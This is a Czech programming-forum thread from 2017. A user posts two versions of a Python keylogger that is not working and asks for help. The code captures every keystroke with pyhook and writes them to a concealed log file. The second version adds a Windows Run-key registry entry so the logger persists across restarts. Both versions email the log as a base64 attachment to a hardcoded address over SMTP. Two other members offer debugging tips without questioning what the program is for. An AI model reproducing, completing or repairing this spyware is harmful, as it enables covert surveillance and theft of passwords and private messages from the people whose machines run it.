Python Keylogger - Need a help

Místo pro dotazy a rady ohledně programovacích jazyků (C++, C#, PHP, ASP, Javascript, VBS..) a tvorby webových stránek

Moderátor: Mods_senior

MartyQOfficialiss
nováček
Příspěvky: 12
Registrován: březen 16
Pohlaví: Nespecifikováno
Stav:
Offline

Python Keylogger - Need a help

Příspěvekod MartyQOfficialiss » 07 kvě 2017 18:00

Ahoj!
Asi vás znovu obtěžuji ale neměl jsem inspiraci a tak jediné co mě napadlo udělat keylogger, jenže když to spouštím nic se neděje a soubor do kterého se má všechno logovat se nevytvoří. Kód vypadá takhle:
  1. import pyhook
  2. import os
  3. import sys
  4. from subprocess import call
  5. from time import *
  6. import threading
  7. import datetime
  8. import smtplib, MimeWriter, StringIO, base64
  9. from email.mime.multipart import MIMEMultipart
  10. from email.mime.text import MIMEText
  11. import win32event, win32api, winerror
  12. import schedule
  13.  
  14.  
  15. #checks if program is starting up for first time
  16. startup = 1
  17. #file path to put logs
  18. filepath = os.environ['C:/Windows/System32']
  19.  
  20. log_file = filepath + 'logs695269146.txt'
  21.  
  22. if os.path.exists(log_file):
  23.     pass
  24. else:
  25.     open(log_file, 'w')
  26.  
  27. #used to see if caps is on so we can put a <CAPS> and </CAPS> tag
  28. caps = 0
  29.  
  30.  
  31. def mail(serverURL=smtp.seznam.cz, sender='', to='', subject='', text=''):
  32.     """
  33.    Usage:
  34.    """
  35.     mail('smtp.seznam.cz', 'martez58@seznam.cz', 'MartyQCZ@seznam.cz', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.' + strftime("%H:%M:%S:"))
  36.    
  37.     message = StringIO.StringIO()
  38.     writer = MimeWriter.MimeWriter(message)
  39.     writer.addheader('Subject', subject)
  40.     writer.startmultipartbody('mixed')
  41.     # start off with a text/plain part
  42.     part = writer.nextpart()
  43.     body = part.startbody('text/plain')
  44.     body.write(text)
  45.     # now add an attachment
  46.     part = writer.nextpart()
  47.     part.addheader('Content-Transfer-Encoding', 'base64')
  48.     body = part.startbody('text/plain')
  49.     base64.encode(open(log_file, 'rb'), body)
  50.     # finish off
  51.     writer.lastpart()
  52.     # send the mail
  53.     smtp = smtplib.SMTP(s)
  54.     smtp.sendmail(sender, to, message.getvalue())
  55.     smtp.quit()
  56.  
  57.     schedule.every().day.at("17:00").do(mail,sendmail)
  58.     while True:
  59.  
  60.         done = False;
  61.  
  62.         while(not done):
  63.          if datetime.datetime.now().hour == 17:
  64.             schedule.run_pending()
  65.             time.sleep(3600)
  66.          else:
  67.              pass
  68.  
  69.  
  70. def OnKeyPress(event):
  71.  
  72.   global caps
  73.   global startup
  74.  
  75.   #checks if startup
  76.   if startup == 1:
  77.     fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
  78.     startup = 0
  79.  
  80.   #Newline if enter is pushed
  81.   if event.Key == 'Return':
  82.     fob.write('\n')
  83.     fob.write(strftime("%H:%M:%S: "))
  84.  
  85.   #I'm sorry for this blatant DRY (Don't repeat yourself) violation
  86.   #Makes exceptions for special characters
  87.   elif event.Key == 'space':
  88.     fob.write(' ')
  89.  
  90.   elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
  91.     fob.write(' ' + event.Key + ' ')
  92.  
  93.   elif event.Key == 'Caps_Lock':
  94.  
  95.     if caps == 0:
  96.         fob.write(' <CAPS> ')
  97.         caps = 1
  98.  
  99.     else:
  100.         fob.write(' </CAPS> ')
  101.         caps = 0
  102.  
  103.   elif event.Key == 'exclam':
  104.     fob.write('!')
  105.  
  106.   elif event.Key == 'BackSpace':
  107.     fob.write('')
  108.  
  109.   elif event.Key == 'at':
  110.     fob.write('@')
  111.  
  112.   elif event.Key == 'numbersign':
  113.     fob.write('#')
  114.  
  115.   elif event.Key == 'dollar':
  116.     fob.write('$')
  117.  
  118.   elif event.Key == 'percent':
  119.     fob.write('%')
  120.  
  121.   elif event.Key == 'asciicircum':
  122.     fob.write('^')
  123.  
  124.   elif event.Key == 'ampersand':
  125.     fob.write('&')
  126.  
  127.   elif event.Key == 'asterisk':
  128.     fob.write('*')
  129.  
  130.   elif event.Key == 'parenleft':
  131.     fob.write('(')
  132.  
  133.   elif event.Key == 'parenright':
  134.     fob.write(')')
  135.  
  136.   elif event.Key == 'underscore':
  137.     fob.write('_')
  138.  
  139.   elif event.Key == 'minus':
  140.     fob.write('-')
  141.  
  142.   elif event.Key == 'equal':
  143.     fob.write('=')
  144.  
  145.   elif event.Key == 'plus':
  146.     fob.write('+')
  147.  
  148.   elif event.Key == 'backslash':
  149.     fob.write('\\')
  150.  
  151.   elif event.Key == 'bracketright':
  152.     fob.write(']')
  153.  
  154.   elif event.Key == 'bracketleft':
  155.     fob.write('[')
  156.  
  157.   elif event.Key == 'braceright':
  158.     fob.write('}')
  159.  
  160.   elif event.Key == 'braceleft':
  161.     fob.write('{')
  162.  
  163.   elif event.Key == 'apostrophe':
  164.     fob.write('\'')
  165.  
  166.   elif event.Key == 'quotedbl':
  167.     fob.write('"')
  168.  
  169.   elif event.Key == 'semicolon':
  170.     fob.write(';')
  171.  
  172.   elif event.Key == 'colon':
  173.     fob.write(':')
  174.  
  175.   elif event.Key == 'slash':
  176.     fob.write('/')
  177.  
  178.   elif event.Key == 'question':
  179.     fob.write('?')
  180.  
  181.   elif event.Key == 'period':
  182.     fob.write('.')
  183.  
  184.   elif event.Key == 'greater':
  185.     fob.write('>')
  186.  
  187.   elif event.Key == 'comma':
  188.     fob.write(',')
  189.  
  190.   elif event.Key == 'less':
  191.     fob.write('<')
  192.  
  193.   elif event.Key == 'asciitilede':
  194.     fob.write('~')
  195.  
  196.   else:
  197.     fob.write(event.Key)
  198.  
  199.   if event.Ascii==124:
  200.     fob.write('\n')
  201.     fob.close()
  202.     new_hook.cancel()
  203.  
  204.  
  205. #prepares hook
  206. new_hook=pyhook.HookManager()
  207. new_hook.KeyDown=OnKeyPress
  208. new_hook.HookKeyboard()
  209. new_hook.start()

Reklama
Uživatelský avatar
faraon
Master Level 8.5
Master Level 8.5
Příspěvky: 7356
Registrován: prosinec 10
Pohlaví: Muž
Stav:
Offline

Re: Python Keylogger - Need a help

Příspěvekod faraon » 07 kvě 2017 18:54

Zkus do toho logu programem nejdřív něco zapsat, tak zjistíš jestli je problém tam, nebo prostě nemá co logovat. A po skončení logování ho regulérně uzavřít, jinak data zůstanou v cachi!
"Král Lávra má dlouhé oslí uši, král je ušatec!

(pravil K. H. Borovský o cenzuře internetu)

Uživatelský avatar
jerabina
člen Security týmu
Level 6
Level 6
Příspěvky: 3647
Registrován: březen 13
Bydliště: Litoměřice
Pohlaví: Muž
Stav:
Offline

Re: Python Keylogger - Need a help

Příspěvekod jerabina » 07 kvě 2017 19:58

Možnou příčinu problémů bych na první pohled viděl v tomhle:

Kód: Vybrat vše

filepath = os.environ['C:/Windows/System32']

Podle mě nemá program oprávnění v tomto adresáři vytvářet soubory a následně do nich něco zapisovat. Přece jenom se jedná o adresář určený pro systém a bez administrátorských práv do něj těžko něco zapíšeš.

Zkus nejdříve změnit tuto cestu na něco jako 'C:/' atd.
Když nevíš jak dál, přichází na řadu prostudovat manuál!
HJT návod

Pokud neodpovídám do vašich témat v sekci HJT když jsem online, tak je to jen proto, že jsem na mobilu kde je studování logů a psaní skriptů nemožné. Neberte to tedy prosím jako ignoraci.

MartyQOfficialiss
nováček
Příspěvky: 12
Registrován: březen 16
Pohlaví: Nespecifikováno
Stav:
Offline

Re: Python Keylogger - Need a help

Příspěvekod MartyQOfficialiss » 07 kvě 2017 20:21

jerabina - Taky jsem nad tím přemýšlel jenže hned jakmile jsem poslal topic sem.

faraon - Nevím, nemyslím si, ale zkusím zkombinovat tvojí i jerabinovu možnost a třeba to bude ideál.

MartyQOfficialiss
nováček
Příspěvky: 12
Registrován: březen 16
Pohlaví: Nespecifikováno
Stav:
Offline

Re: Python Keylogger - Need a help

Příspěvekod MartyQOfficialiss » 08 kvě 2017 13:49

Noo, problém stále přetrvává i přes to že jsem změnil umístění a našel jsem několik chyb v několika proměnných ale ty jsem opravil a i přes to, kód přikládám zde:
  1. import pyhook
  2. import os
  3. import sys
  4. from subprocess import call
  5. from time import *
  6. import threading
  7. import datetime
  8. import smtplib, MimeWriter, StringIO, base64
  9. from email.mime.multipart import MIMEMultipart
  10. from email.mime.text import MIMEText
  11. import win32event, win32api, winerror
  12. import schedule
  13.  
  14.  
  15. #checks if program is starting up for first time
  16. startup = 1
  17. #file path to put logs
  18. homefolder = os.environ['C:/']
  19.  
  20. filepath = homefolder + '/.libs/'
  21. if os.path.isdir(filepath) == False:
  22.     call(['mkdir', filepath])
  23.    
  24. log_file = filepath + 'logs695269146.txt'
  25.  
  26. #used to see if caps is on so we can put a <CAPS> and </CAPS> tag
  27. caps = 0
  28.  
  29. def addStartupProcess():
  30.     fob=os.path.dirname(os.path.realpath(log_file))
  31.     log_file=sys.argv[0].split("\\")[-1]
  32.     new_file_path=homefolder+"\\"+filepath+"\\"+log_file
  33.     keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  34.  
  35.     key2change= OpenKey(HKEY_CURRENT_USER,
  36.     keyVal,0,KEY_ALL_ACCESS)
  37.  
  38.     SetValueEx(key2change, "logsinput",0,REG_SZ, new_file_path)
  39.  
  40.  
  41. def OnKeyPress(event):
  42.  
  43.   fob=open(log_file, 'a')
  44.  
  45.   global caps
  46.   global startup
  47.  
  48.   #checks if startup
  49.   if startup == 1:
  50.     fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
  51.     startup = 0
  52.  
  53.   #Newline if enter is pushed
  54.   if event.Key == 'Return':
  55.     fob.write('\n')
  56.     fob.write(strftime("%H:%M:%S: "))
  57.  
  58.   #I'm sorry for this blatant DRY (Don't repeat yourself) violation
  59.   #Makes exceptions for special characters
  60.   elif event.Key == 'space':
  61.     fob.write(' ')
  62.  
  63.   elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
  64.     fob.write(' ' + event.Key + ' ')
  65.  
  66.   elif event.Key == 'Caps_Lock':
  67.  
  68.     if caps == 0:
  69.         fob.write(' <CAPS> ')
  70.         caps = 1
  71.  
  72.     else:
  73.         fob.write(' </CAPS> ')
  74.         caps = 0
  75.  
  76.   elif event.Key == 'exclam':
  77.     fob.write('!')
  78.  
  79.   elif event.Key == 'BackSpace':
  80.     fob.write('')
  81.  
  82.   elif event.Key == 'at':
  83.     fob.write('@')
  84.  
  85.   elif event.Key == 'numbersign':
  86.     fob.write('#')
  87.  
  88.   elif event.Key == 'dollar':
  89.     fob.write('$')
  90.  
  91.   elif event.Key == 'percent':
  92.     fob.write('%')
  93.  
  94.   elif event.Key == 'asciicircum':
  95.     fob.write('^')
  96.  
  97.   elif event.Key == 'ampersand':
  98.     fob.write('&')
  99.  
  100.   elif event.Key == 'asterisk':
  101.     fob.write('*')
  102.  
  103.   elif event.Key == 'parenleft':
  104.     fob.write('(')
  105.  
  106.   elif event.Key == 'parenright':
  107.     fob.write(')')
  108.  
  109.   elif event.Key == 'underscore':
  110.     fob.write('_')
  111.  
  112.   elif event.Key == 'minus':
  113.     fob.write('-')
  114.  
  115.   elif event.Key == 'equal':
  116.     fob.write('=')
  117.  
  118.   elif event.Key == 'plus':
  119.     fob.write('+')
  120.  
  121.   elif event.Key == 'backslash':
  122.     fob.write('\\')
  123.  
  124.   elif event.Key == 'bracketright':
  125.     fob.write(']')
  126.  
  127.   elif event.Key == 'bracketleft':
  128.     fob.write('[')
  129.  
  130.   elif event.Key == 'braceright':
  131.     fob.write('}')
  132.  
  133.   elif event.Key == 'braceleft':
  134.     fob.write('{')
  135.  
  136.   elif event.Key == 'apostrophe':
  137.     fob.write('\'')
  138.  
  139.   elif event.Key == 'quotedbl':
  140.     fob.write('"')
  141.  
  142.   elif event.Key == 'semicolon':
  143.     fob.write(';')
  144.  
  145.   elif event.Key == 'colon':
  146.     fob.write(':')
  147.  
  148.   elif event.Key == 'slash':
  149.     fob.write('/')
  150.  
  151.   elif event.Key == 'question':
  152.     fob.write('?')
  153.  
  154.   elif event.Key == 'period':
  155.     fob.write('.')
  156.  
  157.   elif event.Key == 'greater':
  158.     fob.write('>')
  159.  
  160.   elif event.Key == 'comma':
  161.     fob.write(',')
  162.  
  163.   elif event.Key == 'less':
  164.     fob.write('<')
  165.  
  166.   elif event.Key == 'asciitilede':
  167.     fob.write('~')
  168.  
  169.   else:
  170.     fob.write(event.Key)
  171.  
  172.   if event.Ascii==124:
  173.     fob.write('\n')
  174.     fob.close()
  175.     new_hook.cancel()
  176.  
  177. def mail(serverURL=smtp.seznam.cz, sender='', to='', subject='', text=''):
  178.     """
  179.    Usage:
  180.    """
  181.     mail('smtp.seznam.cz', 'martez58@seznam.cz', 'MartyQCZ@seznam.cz', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.' + strftime("%H:%M:%S:"))
  182.    
  183.     message = StringIO.StringIO()
  184.     writer = MimeWriter.MimeWriter(message)
  185.     writer.addheader('Subject', subject)
  186.     writer.startmultipartbody('mixed')
  187.     # start off with a text/plain part
  188.     part = writer.nextpart()
  189.     body = part.startbody('text/plain')
  190.     body.write(text)
  191.     # now add an attachment
  192.     part = writer.nextpart()
  193.     part.addheader('Content-Transfer-Encoding', 'base64')
  194.     body = part.startbody('text/plain')
  195.     base64.encode(open(log_file, 'rb'), body)
  196.     # finish off
  197.     writer.lastpart()
  198.     # send the mail
  199.     smtp = smtplib.SMTP(s)
  200.     smtp.sendmail(sender, to, message.getvalue())
  201.     smtp.quit()
  202.  
  203.     schedule.every().day.at("17:00").do(mail,sendmail)
  204.     while True:
  205.  
  206.         done = False;
  207.  
  208.         while(not done):
  209.          if datetime.datetime.now().hour == 17:
  210.             schedule.run_pending()
  211.             time.sleep(3600)
  212.          else:
  213.              pass
  214.  
  215.  
  216. #prepares hook
  217. new_hook=pyhook.HookManager()
  218. new_hook.KeyDown=OnKeyPress
  219. new_hook.HookKeyboard()
  220. new_hook.start()


  • Mohlo by vás zajímat
    Odpovědi
    Zobrazení
    Poslední příspěvek
  • Makro pro myš Rapture Python
    od mmmartin » 27 srp 2023 15:18 » v Problémy s hardwarem
    9
    1111
    od mmmartin Zobrazit poslední příspěvek
    29 srp 2023 16:47

Zpět na “Programování a tvorba webu”

Kdo je online

Uživatelé prohlížející si toto fórum: Google [Bot] a 2 hosti